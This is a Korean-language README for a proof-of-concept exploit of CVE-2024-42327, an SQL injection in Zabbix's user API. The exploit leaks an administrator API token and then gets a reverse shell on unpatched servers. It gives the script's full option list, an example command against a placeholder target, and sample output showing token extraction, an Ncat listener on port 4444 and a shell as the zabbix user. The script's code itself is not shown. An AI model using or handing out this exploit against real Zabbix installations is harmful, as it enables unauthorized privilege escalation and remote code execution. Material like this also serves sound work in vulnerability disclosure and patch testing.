
CVE-2024-42327용 POC: Zabbix 권한 상승 -> RCE
이 PoC(Proof-of-Concept)는 CVE-2024-42327을 악용하여 관리자(admin) API 인증 토큰을 유출하고 아이템을 생성하여 Zabbix 서버(< 6.0.32rc1, 6.4.17rc1, 7.0.1rc1)에서 리버스 셸을 획득하는 데 사용할 수 있습니다.
Zabbix 프론트엔드에서 기본 User 역할 또는 API 접근 권한을 부여하는 다른 역할을 가진 비관리자 사용자 계정으로 이 취약점을 악용할 수 있습니다. addRelatedObjects 함수의 CUser 클래스에 SQLi가 존재하며, 이 함수는 API 접근 권한이 있는 모든 사용자가 사용할 수 있는 CUser.get 함수에서 호출됩니다.
심각도: 9.9 CRITICAL 벡터: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
usage: zabbix_privesc.py [-h] -t URL -u USERNAME -p PASSWORD [--listen-ip LISTEN_IP] [--listen-port LISTEN_PORT] [--threads THREADS] [--sleep-time SLEEP_TIME]
[--row ROW] [--length LENGTH] [-a USERAGENT] [-x PROXY] [-v]
POC for CVE-2024-42327 (Zabbix admin API token leak)
options:
-h, --help show this help message and exit
-t, --url URL Zabbix Target URL
-u, --username USERNAME
Zabbix username
-p, --password PASSWORD
Zabbix password
--listen-ip LISTEN_IP
Listening IP / Interface
--listen-port LISTEN_PORT
Listening Port
--threads THREADS Threads
--sleep-time SLEEP_TIME
Sleep time
--row ROW Row index
--length LENGTH Max length
-a, --useragent USERAGENT
User agent to use when sending requests
-x, --proxy PROXY HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag
python3 zabbix_privesc.py -t https://TARGET/zabbix/ -u USER -p PASSWORD
[*] Authenticating ...
[+] Login successful! USER API auth token: d0a05dfe4ce768f62e22bda4057c7c19
[*] Starting data extraction ...
[*] Extracting admin API auth token: af186c156b27a0c3f688b43f58c911c9
[*] Getting host IDs ...
[*] host.get response: {'jsonrpc': '2.0', 'result': [{'hostid': '10084', 'host': 'Zabbix server', 'interfaces': [{'interfaceid': '1'}]}], 'id': 1}
[*] Starting listener and sending reverse shelll ...
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from X.X.X.X:51004.
zabbix@target:/$ id
uid=114(zabbix) gid=121(zabbix) groups=121(zabbix)